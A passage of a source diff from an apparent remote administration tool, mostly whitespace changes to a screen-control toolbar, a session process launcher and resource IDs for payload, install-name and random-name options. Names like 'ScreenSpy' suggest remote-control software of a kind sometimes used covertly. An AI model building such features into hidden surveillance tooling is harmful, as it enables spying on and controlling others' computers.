&si,
&pi
);
hDupToken,
NULL, // 应用程序名(在命令行中解析)
cmdLine, // 命令行参数Yama.exe -agent
NULL, // 进程安全属性
NULL, // 线程安全属性
FALSE, // 不继承句柄
NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT, // GUI程序不需要 CREATE_NO_WINDOW
lpEnvironment, // 环境变量
NULL, // 当前目录
&si,
&pi
);
if (lpEnvironment) {
DestroyEnvironmentBlock(lpEnvironment);
@@ -504,8 +498,7 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId)
LeaveCriticalSection(&self->csProcessList);
SAFE_CLOSE_HANDLE(pi.hThread); // 线程句柄可以关闭
}
else {
} else {
DWORD err = GetLastError();
sprintf_s(buf, sizeof(buf), "CreateProcessAsUser failed: %d", (int)err);
Mprintf(buf);
@@ -513,11 +506,9 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId)
// 提供更详细的错误信息
if (err == ERROR_FILE_NOT_FOUND) {
Mprintf("ERROR: Executable not found");
}
else if (err == ERROR_ACCESS_DENIED) {
} else if (err == ERROR_ACCESS_DENIED) {
Mprintf("ERROR: Access denied - service may not have sufficient privileges");
}
else if (err == 1314) {
} else if (err == 1314) {
Mprintf("ERROR: Service does not have SE_INCREASE_QUOTA privilege");
}
}

View File

@@ -6,7 +6,7 @@
IMPLEMENT_DYNAMIC(CToolbarDlg, CDialogEx)
CToolbarDlg::CToolbarDlg(CWnd* pParent)
: CDialogEx(IDD_TOOLBAR_DLG, pParent)
: CDialogEx(IDD_TOOLBAR_DLG, pParent)
{
}
@@ -16,145 +16,145 @@ CToolbarDlg::~CToolbarDlg()
void CToolbarDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogEx::DoDataExchange(pDX);
CDialogEx::DoDataExchange(pDX);
}
BEGIN_MESSAGE_MAP(CToolbarDlg, CDialogEx)
ON_BN_CLICKED(IDC_BTN_EXIT_FULLSCREEN, &CToolbarDlg::OnBnClickedExitFullscreen)
ON_BN_CLICKED(CONTROL_BTN_ID, &CToolbarDlg::OnBnClickedCtrl)
ON_BN_CLICKED(IDC_BTN_MINIMIZE, &CToolbarDlg::OnBnClickedMinimize)
ON_BN_CLICKED(IDC_BTN_CLOSE, &CToolbarDlg::OnBnClickedClose)
ON_WM_ERASEBKGND()
ON_BN_CLICKED(IDC_BTN_EXIT_FULLSCREEN, &CToolbarDlg::OnBnClickedExitFullscreen)
ON_BN_CLICKED(CONTROL_BTN_ID, &CToolbarDlg::OnBnClickedCtrl)
ON_BN_CLICKED(IDC_BTN_MINIMIZE, &CToolbarDlg::OnBnClickedMinimize)
ON_BN_CLICKED(IDC_BTN_CLOSE, &CToolbarDlg::OnBnClickedClose)
ON_WM_ERASEBKGND()
END_MESSAGE_MAP()
void CToolbarDlg::CheckMousePosition()
{
CPoint pt;
GetCursorPos(&pt);
CPoint pt;
GetCursorPos(&pt);
int cxScreen = GetSystemMetrics(SM_CXSCREEN);
int cxScreen = GetSystemMetrics(SM_CXSCREEN);
// 计算按钮群的总宽度 (4个按钮 + 间距)
int totalWidth = 80 * 4 + 10 * 3;
int leftBound = (cxScreen - totalWidth) / 2;
int rightBound = (cxScreen + totalWidth) / 2;
// 计算按钮群的总宽度 (4个按钮 + 间距)
int totalWidth = 80 * 4 + 10 * 3;
int leftBound = (cxScreen - totalWidth) / 2;
int rightBound = (cxScreen + totalWidth) / 2;
// 只有在按钮对应的横向范围内从下往上扫到顶端才弹出
if (pt.y <= 2 && pt.x >= leftBound && pt.x <= rightBound) {
if (!m_bVisible) SlideIn();
}
// 鼠标离开工具栏范围(或者在工具栏左右两侧)时隐藏
else if (pt.y > m_nHeight + 10 || pt.x < leftBound - 50 || pt.x > rightBound + 50) {
if (m_bVisible) SlideOut();
}
// 只有在按钮对应的横向范围内从下往上扫到顶端才弹出
if (pt.y <= 2 && pt.x >= leftBound && pt.x <= rightBound) {
if (!m_bVisible) SlideIn();
}
// 鼠标离开工具栏范围(或者在工具栏左右两侧)时隐藏
else if (pt.y > m_nHeight + 10 || pt.x < leftBound - 50 || pt.x > rightBound + 50) {
if (m_bVisible) SlideOut();
}
}
void CToolbarDlg::SlideIn()
{
if (m_bVisible) return;
m_bVisible = true;
if (m_bVisible) return;
m_bVisible = true;
// 获取屏幕宽度,确保位置正确
int cx = GetSystemMetrics(SM_CXSCREEN);
// 获取屏幕宽度,确保位置正确
int cx = GetSystemMetrics(SM_CXSCREEN);
// 动画:从 -m_nHeight 移动到 0
// 步进加大10像素等待时间极短10-15ms
for (int i = -m_nHeight; i <= 0; i += 10) {
// 使用 SWP_NOACTIVATE 极其重要,防止夺取焦点导致的界面闪烁
SetWindowPos(&wndTopMost, 0, i, cx, m_nHeight, SWP_SHOWWINDOW | SWP_NOACTIVATE);
// 动画:从 -m_nHeight 移动到 0
// 步进加大10像素等待时间极短10-15ms
for (int i = -m_nHeight; i <= 0; i += 10) {
// 使用 SWP_NOACTIVATE 极其重要,防止夺取焦点导致的界面闪烁
SetWindowPos(&wndTopMost, 0, i, cx, m_nHeight, SWP_SHOWWINDOW | SWP_NOACTIVATE);
// 强制窗口立即重绘按钮,否则背景会是一片漆黑直到动画结束
UpdateWindow();
// 强制窗口立即重绘按钮,否则背景会是一片漆黑直到动画结束
UpdateWindow();
Sleep(10); // 10ms 是人眼感知的流畅极限
}
Sleep(10); // 10ms 是人眼感知的流畅极限
}
// 确保最终位置精准在 0
SetWindowPos(&wndTopMost, 0, 0, cx, m_nHeight, SWP_NOACTIVATE);
// 确保最终位置精准在 0
SetWindowPos(&wndTopMost, 0, 0, cx, m_nHeight, SWP_NOACTIVATE);
}
void CToolbarDlg::SlideOut()
{
int cx = GetSystemMetrics(SM_CXSCREEN);
for (int y = 0; y >= -m_nHeight; y -= 8) {
SetWindowPos(&wndTopMost, 0, y, cx, m_nHeight, SWP_NOACTIVATE);
Sleep(50);
}
ShowWindow(SW_HIDE);
m_bVisible = false;
int cx = GetSystemMetrics(SM_CXSCREEN);
for (int y = 0; y >= -m_nHeight; y -= 8) {
SetWindowPos(&wndTopMost, 0, y, cx, m_nHeight, SWP_NOACTIVATE);
Sleep(50);
}
ShowWindow(SW_HIDE);
m_bVisible = false;
}
void CToolbarDlg::OnBnClickedExitFullscreen()
{
// 通知父窗口退出全屏
GetParent()->PostMessage(WM_COMMAND, ID_EXIT_FULLSCREEN, 0);
// 通知父窗口退出全屏
GetParent()->PostMessage(WM_COMMAND, ID_EXIT_FULLSCREEN, 0);
}
void CToolbarDlg::OnBnClickedCtrl()
{
CScreenSpyDlg* pParent = (CScreenSpyDlg*)GetParent();
pParent->m_bIsCtrl = !pParent->m_bIsCtrl;
pParent->UpdateCtrlStatus(pParent->m_bIsCtrl);
GetDlgItem(CONTROL_BTN_ID)->SetWindowTextA(pParent->m_bIsCtrl ? "暂停控制" : "控制屏幕");
CScreenSpyDlg* pParent = (CScreenSpyDlg*)GetParent();
pParent->m_bIsCtrl = !pParent->m_bIsCtrl;
pParent->UpdateCtrlStatus(pParent->m_bIsCtrl);
GetDlgItem(CONTROL_BTN_ID)->SetWindowTextA(pParent->m_bIsCtrl ? "暂停控制" : "控制屏幕");
}
void CToolbarDlg::OnBnClickedClose()
{
GetParent()->PostMessage(WM_CLOSE);
GetParent()->PostMessage(WM_CLOSE);
}
BOOL CToolbarDlg::OnInitDialog()
{
CDialogEx::OnInitDialog();
CDialogEx::OnInitDialog();
// 1. 设置分层窗口样式
ModifyStyleEx(0, WS_EX_LAYERED);
// 1. 设置分层窗口样式
ModifyStyleEx(0, WS_EX_LAYERED);
// 2. 关键设置:使用 LWA_COLORKEY 和 LWA_ALPHA 混合
// RGB(255, 0, 255) 是品红色,我们将它定义为“透明色”
// 255 代表按钮部分完全不透明(如果你想要按钮也半透明,可以改成 150-200
SetLayeredWindowAttributes(RGB(255, 0, 255), 255, LWA_COLORKEY | LWA_ALPHA);
// 2. 关键设置:使用 LWA_COLORKEY 和 LWA_ALPHA 混合
// RGB(255, 0, 255) 是品红色,我们将它定义为“透明色”
// 255 代表按钮部分完全不透明(如果你想要按钮也半透明,可以改成 150-200
SetLayeredWindowAttributes(RGB(255, 0, 255), 255, LWA_COLORKEY | LWA_ALPHA);
// --- 按钮布局代码 (保持不变) ---
int cx = GetSystemMetrics(SM_CXSCREEN);
int btnWidth = 80;
int btnHeight = 28;
int btnSpacing = 10;
int totalWidth = btnWidth * 4 + btnSpacing * 3;
int startX = (cx - totalWidth) / 2;
int y = (m_nHeight - btnHeight) / 2;
// --- 按钮布局代码 (保持不变) ---
int cx = GetSystemMetrics(SM_CXSCREEN);
int btnWidth = 80;
int btnHeight = 28;
int btnSpacing = 10;
int totalWidth = btnWidth * 4 + btnSpacing * 3;
int startX = (cx - totalWidth) / 2;
int y = (m_nHeight - btnHeight) / 2;
GetDlgItem(IDC_BTN_EXIT_FULLSCREEN)->SetWindowPos(NULL, startX, y, btnWidth, btnHeight, SWP_NOZORDER);
GetDlgItem(IDC_BTN_EXIT_FULLSCREEN)->SetWindowPos(NULL, startX, y, btnWidth, btnHeight, SWP_NOZORDER);
int nextX = startX + btnWidth + btnSpacing;
GetDlgItem(CONTROL_BTN_ID)->SetWindowPos(NULL, nextX, y, btnWidth, btnHeight, SWP_NOZORDER);
int nextX = startX + btnWidth + btnSpacing;
GetDlgItem(CONTROL_BTN_ID)->SetWindowPos(NULL, nextX, y, btnWidth, btnHeight, SWP_NOZORDER);
nextX += btnWidth + btnSpacing;
GetDlgItem(IDC_BTN_MINIMIZE)->SetWindowPos(NULL, nextX, y, btnWidth, btnHeight, SWP_NOZORDER); // 放置最小化按钮
nextX += btnWidth + btnSpacing;
GetDlgItem(IDC_BTN_MINIMIZE)->SetWindowPos(NULL, nextX, y, btnWidth, btnHeight, SWP_NOZORDER); // 放置最小化按钮
nextX += btnWidth + btnSpacing;
GetDlgItem(IDC_BTN_CLOSE)->SetWindowPos(NULL, nextX, y, btnWidth, btnHeight, SWP_NOZORDER);
nextX += btnWidth + btnSpacing;
GetDlgItem(IDC_BTN_CLOSE)->SetWindowPos(NULL, nextX, y, btnWidth, btnHeight, SWP_NOZORDER);
// 设置控制按钮文本
CScreenSpyDlg* pParent = (CScreenSpyDlg*)GetParent();
GetDlgItem(CONTROL_BTN_ID)->SetWindowTextA(pParent->m_bIsCtrl ? "暂停控制" : "控制屏幕");
// 设置控制按钮文本
CScreenSpyDlg* pParent = (CScreenSpyDlg*)GetParent();
GetDlgItem(CONTROL_BTN_ID)->SetWindowTextA(pParent->m_bIsCtrl ? "暂停控制" : "控制屏幕");
return TRUE;
return TRUE;
}
void CToolbarDlg::OnBnClickedMinimize()
{
// 隐藏工具栏自身并最小化父窗口
ShowWindow(SW_HIDE);
m_bVisible = false;
GetParent()->ShowWindow(SW_MINIMIZE);
// 隐藏工具栏自身并最小化父窗口
ShowWindow(SW_HIDE);
m_bVisible = false;
GetParent()->ShowWindow(SW_MINIMIZE);
}
BOOL CToolbarDlg::OnEraseBkgnd(CDC* pDC)
{
CRect rect;
GetClientRect(&rect);
// 使用我们在 SetLayeredWindowAttributes 中定义的颜色填充背景
pDC->FillSolidRect(rect, RGB(255, 0, 255));
return TRUE;
CRect rect;
GetClientRect(&rect);
// 使用我们在 SetLayeredWindowAttributes 中定义的颜色填充背景
pDC->FillSolidRect(rect, RGB(255, 0, 255));
return TRUE;
}

View File

@@ -3,32 +3,32 @@
class CToolbarDlg : public CDialogEx
{
DECLARE_DYNAMIC(CToolbarDlg)
DECLARE_DYNAMIC(CToolbarDlg)
private:
int m_lastY = 0; // 记录上一次的 Y 坐标
int m_lastY = 0; // 记录上一次的 Y 坐标
public:
CToolbarDlg(CWnd* pParent = nullptr);
virtual ~CToolbarDlg();
CToolbarDlg(CWnd* pParent = nullptr);
virtual ~CToolbarDlg();
enum { IDD = IDD_TOOLBAR_DLG };
enum { IDD = IDD_TOOLBAR_DLG };
int m_nHeight = 40;
bool m_bVisible = false;
int m_nHeight = 40;
bool m_bVisible = false;
void SlideIn();
void SlideOut();
void CheckMousePosition();
void SlideIn();
void SlideOut();
void CheckMousePosition();
protected:
virtual void DoDataExchange(CDataExchange* pDX);
DECLARE_MESSAGE_MAP()
virtual void DoDataExchange(CDataExchange* pDX);
DECLARE_MESSAGE_MAP()
public:
afx_msg void OnBnClickedExitFullscreen();
afx_msg void OnBnClickedCtrl();
afx_msg void OnBnClickedMinimize();
afx_msg void OnBnClickedClose();
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
virtual BOOL OnInitDialog();
afx_msg void OnBnClickedExitFullscreen();
afx_msg void OnBnClickedCtrl();
afx_msg void OnBnClickedMinimize();
afx_msg void OnBnClickedClose();
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
virtual BOOL OnInitDialog();
};

View File

@@ -427,9 +427,13 @@
#define IDC_STATIC_PAYLOAD 2211
#define IDC_SLIDER_CLIENT_SIZE 2212
#define IDC_STATIC_CURRENT_FILE 2213
#define IDC_STATIC_PAYLOAD2 2213
#define IDC_PROGRESS_FILESEND 2214
#define IDC_STATIC_PAYLOAD3 2214
#define IDC_STATIC_CURRENTINDEX 2215
#define IDC_STATIC_CURRENTPERCENT 2216
#define IDC_EDIT_INSTALL_DIR 2216
#define IDC_EDIT_INSTALL_NAME 2217
#define ID_ONLINE_UPDATE 32772
#define ID_ONLINE_MESSAGE 32773
#define ID_ONLINE_DELETE 32775
@@ -606,15 +610,17 @@
#define ID_FILEMANGER_COMPRESS 32990
#define ID_FILEMANGER_32991 32991
#define ID_FILEMANGER_UNCOMPRESS 32992
#define ID_32993 32993
#define ID_RANDOM_NAME 32994
#define ID_EXIT_FULLSCREEN 40001
// Next default values for new objects
//
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 322
#define _APS_NEXT_COMMAND_VALUE 32993
#define _APS_NEXT_CONTROL_VALUE 2216
#define _APS_NEXT_COMMAND_VALUE 32995
#define _APS_NEXT_CONTROL_VALUE 2218
#define _APS_NEXT_SYMED_VALUE 105
#endif
#endif